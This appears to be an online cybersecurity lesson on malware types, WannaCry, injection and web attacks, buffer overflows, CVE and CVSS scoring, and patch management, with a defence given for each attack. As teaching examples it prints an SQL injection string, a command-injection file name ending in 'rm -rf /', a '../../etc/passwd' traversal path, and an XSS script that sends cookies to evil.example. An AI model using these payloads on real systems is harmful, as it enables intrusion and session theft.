Malware types

Name malware by how it gets in, hides and what it does

How it gets inVirusattaches to a file; spreads when it runsWormspreads by itself across the networkTrojanlooks useful, carries a hidden payloadMacro or scriptrides inside documents and scriptsHow it hidesRootkithides in the operating system or firmwareFilelessruns in memory using built-in toolsPolymorphicrewrites itself to dodge signaturesWhat it doesRansomwareencrypts or steals data, then extortsSpyware, keyloggerrecords what you type and seeRAT, backdoorgives an attacker remote controlBotjoins a botnet for DDoS, spam, miningWiper, logic bombdestroys data, now or on a triggerMalware is described by how it gets in, how it hides and what it does; one sample often does all three.WannaCry was a worm carrying ransomware. Emotet began as a banking trojan and became a delivery service forothers. Naming the behaviour matters more than the label: it tells you how it spreads, where to look and whatto contain. Modern attacks often use no malware at all, just stolen credentials and built-in admin tools.

Viruses, worms and trojans get in; rootkits and fileless malware hide; ransomware, spyware and RATs do the damage.

Analysing malware · Going deeper

Signs of infection, and how analysts study a sample

Indicators of compromise, sandboxing, static analysis and dynamic analysis; signatures versus behaviour.

Signs on an infected system

  • Behaviour unexpected processes, CPU or disk spikes, new scheduled tasks or services, disabled security tools.
  • Network connections to unfamiliar domains at regular intervals (beaconing), large uploads at odd hours.
  • Files and accounts renamed or encrypted files, ransom notes, new admin accounts, logs that were cleared.

Two ways to study a sample

Static analysis

Examine the file without running it: its hash, strings, imports, signatures and packing. Fast and safe, defeated by obfuscation.

Dynamic analysis

Run it in an isolated sandbox and watch what it does: files touched, registry changes, network calls. Reveals behaviour; some malware detects sandboxes and stays quiet.

Detection

Signature detection matches known patterns and misses new or changing code. Behaviour-based detection, the core of modern endpoint detection and response (EDR), flags what code does, such as mass file encryption or credential dumping, whatever it looks like.

Worms and patching

WannaCry hit 59 days after the fix was already available

1 Mar1 Apr1 May14 MarMicrosoft patches the flaw (MS17-010)14 Aprthe EternalBlue exploit is leaked publicly12 MayWannaCry: 200,000+ victims in 150 countries59 days in which the fix already existed81 of 236 NHS trustshit, plus 595 GP practicesAbout 19,000appointments cancelledEvery infected deviceunpatched or unsupported WindowsWannaCry spread through a flaw that had been patched 59 days earlier; the damage came from not applying it.A worm needs no clicks: it scans for vulnerable machines and copies itself. In England’s NHS, the UK NationalAudit Office found that basic steps, patching and firewalling the exposed port, would have prevented it.A researcher stopped the spread the same day by registering a domain the worm checked: a kill switch.

WannaCry (2017) used the EternalBlue exploit against an already-patched Windows flaw, MS17-010.

Injection

SQL injection turns a user name into a database command

What the attacker types as a user name' OR '1'='1' --Code that joins strings sends this querySELECT * FROM users WHERE name = '' OR '1'='1' --' AND pass_hash = '…'‘1’=‘1’ is always true, and -- turns the password check into a comment: logged in as the first user, often the adminA parameterised query keeps data as datadb.execute("SELECT * FROM users WHERE name = ? AND pass_hash = ?", [name, hash])Injection happens when input is pasted into a command; keep data and code apart, and it cannot.With string building, the database cannot tell the developer’s SQL from the attacker’s. Parameterised queries(prepared statements) send the query and the values separately, so the input is only ever a value. Add inputvalidation, least-privilege database accounts and a web application firewall as further layers.

SQL injection is prevented by parameterised queries, with input validation and least privilege as extra layers.

Web application attacks · Going deeper · 1 of 4

The other injections and web attacks you need to know

Know command injection, directory traversal, CSRF, SSRF, insecure deserialisation and the OWASP Top 10.

  • Command injection input reaches an operating-system command: a file name such as “report.pdf; rm -rf /”. Avoid shell calls; pass arguments as a list.
  • Directory traversal “../../etc/passwd” in a file path escapes the intended folder. Resolve paths and check they stay inside it.
  • Cross-site request forgery (CSRF) a malicious page makes your logged-in browser send a request, such as a transfer. Defences: anti-CSRF tokens and SameSite cookies.
  • Server-side request forgery (SSRF) the attacker makes the server fetch an internal address, such as the cloud metadata service at 169.254.169.254. Behind the 2019 Capital One breach.
  • Insecure deserialisation turning untrusted data back into objects runs attacker-chosen code. Log4Shell was a lookup-injection cousin of this.
  • Broken access control changing ?account=1001 to 1002 shows someone else’s data (an insecure direct object reference). It tops the OWASP Top 10.
The OWASP Top 10 is the standard list of web application risks. Secure coding, code review, testing tools (SAST, DAST) and a web application firewall work together; none is enough alone.

Injection · Going deeper · 2 of 4

Cross-site scripting runs an attacker’s code as a trusted site

Attackerforum.exampleVictim’s browser1 posts a comment that contains a script2 serves the page to everyone, script included3 the script runs as the site and sends the victim’s session cookie away<script>fetch("https://evil.example/?c=" + document.cookie)</script>Defences: encode output so <script> shows as text · Content-Security-Policy · HttpOnly cookiesCross-site scripting runs an attacker’s script inside a trusted site, in every visitor’s browser.The browser cannot tell the forum’s code from code hidden in a comment, so the script gets the forum’s fulltrust: it can read the page, act as the user and steal session cookies. Stored XSS sits in the database; reflectedXSS bounces off a link the victim clicks. The fix is output encoding, backed by a Content Security Policy.

Cross-site scripting (XSS), stored or reflected, is stopped by output encoding, Content Security Policy and HttpOnly cookies.

Injection · Going deeper · 3 of 4

A buffer overflow writes past the box, over what runs next

char name[8]; strcpy(name, input); // copies until the input ends, however longname[8]: room for 8 bytessaved return address: where to go nextinput “Alice”Alice\0b814400000000000fits: the function returns normally16 bytes of inputAAAAAAAAd0c4ffffff7f0000overwritten: the function “returns” into the attacker’s codeDefences: bounds-checked copies · memory-safe languages · stack canaries · non-executable memory (DEP/NX) · ASLRA buffer overflow writes past the end of a box in memory, over the data that controls what runs next.Languages such as C and C++ trust the programmer to check lengths. Overflow the buffer and the attacker canreplace the return address and run their own code with the program’s privileges. Memory-safe languages (Rust,Go, Java, C#) make this class of bug impossible, which is why governments now urge the switch.

A buffer overflow overwrites adjacent memory; memory-safe languages, ASLR, DEP and stack canaries defend.

Memory safety · Going deeper · 4 of 4

Why most serious bugs are memory bugs, and the related flaws

About 70% of serious bugs at Microsoft and in Chromium are memory-safety bugs; also know use-after-free, race conditions and integer overflow.

~70%of the CVEs Microsoft assigns each year are memory-safety issues (MSRC, 2019)
~70%of Chromium’s high-severity security bugs are memory-safety issues

Related flaws

  • Use-after-free the program keeps using memory it already released, which an attacker may have refilled.
  • Integer overflow a number wraps around (255 + 1 = 0 in one byte), so a size check passes when it should fail.
  • Race condition (TOCTOU) time of check to time of use: the file or value changes between the check and the action.
  • Null pointer dereference usually a crash, so a denial of service.

Platform defences

  • ASLR randomises where code and data sit in memory, so the attacker cannot guess addresses.
  • DEP / NX marks data areas non-executable, so injected bytes cannot run as code.
  • Stack canaries a secret value before the return address; if it changes, the program stops.

Governments, including CISA and its partners, urge vendors to publish memory-safety roadmaps and write new code in memory-safe languages.

CVE and disclosure

Every public flaw gets a number, then the race begins

Foundby anyoneReportedto the vendorCVE IDfrom a CNAPatcheda fix shipsDisclosedadvisory outExploitedattacks spreadZero-day: attackers may know, and no patch existsN-day: a patch exists but is not yet applied everywhere48,185CVEs published in 2025, a record: about 132 every day.Each gets an ID such as CVE-2021-44228 (Log4Shell) so everyone means the same flaw.Every public flaw gets a CVE number; the race is between the patch reaching you and the exploit reaching you.Coordinated disclosure gives the vendor time to fix a flaw before details go public. A CVE Numbering Authority(CNA) assigns the ID, and the US National Vulnerability Database adds scores. A zero-day is exploited before anyfix exists; most breaches, though, use n-days: flaws with a patch that nobody installed.

A CVE identifies each flaw; zero-day means no patch yet, n-day means a patch exists. Coordinated disclosure gives vendors time.

CVE and disclosure · Going deeper · 1 of 2

CVSS rates how easy and how bad, not how urgent for you

CVE-2021-44228 (Log4Shell), CVSS 3.1 base metricsAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:HAttack vectorNetworkComplexityLowPrivilegesNoneUser actionNoneHow easy to exploit: 3.9 of 3.9ScopeChangedConfidentialityHighIntegrityHighAvailabilityHighHow bad if exploited: 6.0 of 6.010.0CriticalLow 0.1–3.9Medium 4.0–6.9High 7.0–8.9Critical 9.0–10.0A CVSS score rates how easy a flaw is to exploit and how bad it would be; Log4Shell scored the maximum.Reachable over the network, simple, needing no account and no user action, and able to take over systemsbeyond the vulnerable component: 10.0. CVSS measures severity, not your risk; that depends on whether you runthe software, whether it is exposed, and whether attackers are using it. CVSS 4.0 (2023) refines the metrics.

The CVSS base score combines exploitability and impact, from 0 to 10. Log4Shell scored 10.0.

Prioritising vulnerabilities · Going deeper · 2 of 2

CVSS 4.0, CISA KEV and EPSS

Combine CVSS with CISA KEV (known exploited) and EPSS (likely to be exploited) and your own exposure.

Three signals

  • CVSS severity on a 0 to 10 scale: Low 0.1 to 3.9, Medium 4.0 to 6.9, High 7.0 to 8.9, Critical 9.0 to 10.0. CVSS 4.0 (2023) adds threat and environmental metrics and splits user interaction into passive and active.
  • CISA KEV the Known Exploited Vulnerabilities catalog: flaws seen exploited in the wild. US federal agencies must fix them by set deadlines under Binding Operational Directive 22-01; everyone else uses it as a must-patch list.
  • EPSS the Exploit Prediction Scoring System from FIRST: the probability that a flaw will be exploited in the next 30 days, updated daily.

Your context

The same CVE matters more on an internet-facing VPN than on an isolated lab machine. Asset criticality, exposure and compensating controls turn a severity score into a priority.

A scan report sorted by CVSS alone sends teams after the wrong things. Exploited plus exposed comes first.

Patch management

Attackers now exploit new flaws in days, not months

Average days from a flaw becoming known to its first exploitation (Google Mandiant)2018–1963 days2020–2144 days2021–2232 days20235 daysIn 2023, 97 of 138 exploited flaws (70%) were zero-days: attacked before any patch existed.So patch by real risk: known exploited (CISA KEV) first, then likely to be exploited (EPSS), then CVSS.Attackers now exploit new flaws within days, so patching by calendar is too slow for what matters.A monthly patch cycle leaves weeks of exposure. Teams keep an inventory, patch internet-facing and activelyexploited flaws first, and use compensating controls, such as isolating a system or disabling a feature, whena patch is not yet possible. Unsupported software that will never get patches has to be replaced.

Average time to exploit fell from 63 days to 5 (Google Mandiant). Prioritise by exploitation and exposure.

Running patch management · Going deeper

The patch cycle, compensating controls and end-of-life systems

Patch management runs inventory, prioritise, test, deploy, verify; compensating controls cover the gaps.

Inventoryyou cannot patch what you do not know you run
Prioritiseexploited and exposed first
Testa staged roll-out catches breaking changes
Deployautomatically, with a deadline per priority
Verifyrescan to prove the fix landed

When you cannot patch yet

  • Isolate move the system into its own segment, or off the internet.
  • Disable turn off the vulnerable feature or service.
  • Virtual patching a web application firewall or IPS rule blocks the exploit pattern.
  • Monitor extra detection for exploitation attempts.

End of life

Software past its vendor’s end of support never gets fixes. WannaCry spread widely through unsupported Windows versions. Replacing it is a business decision, recorded as a risk until it is done.

Lesson complete

You finished “Malware and vulnerabilities”

Nicely done.

Open in a new tab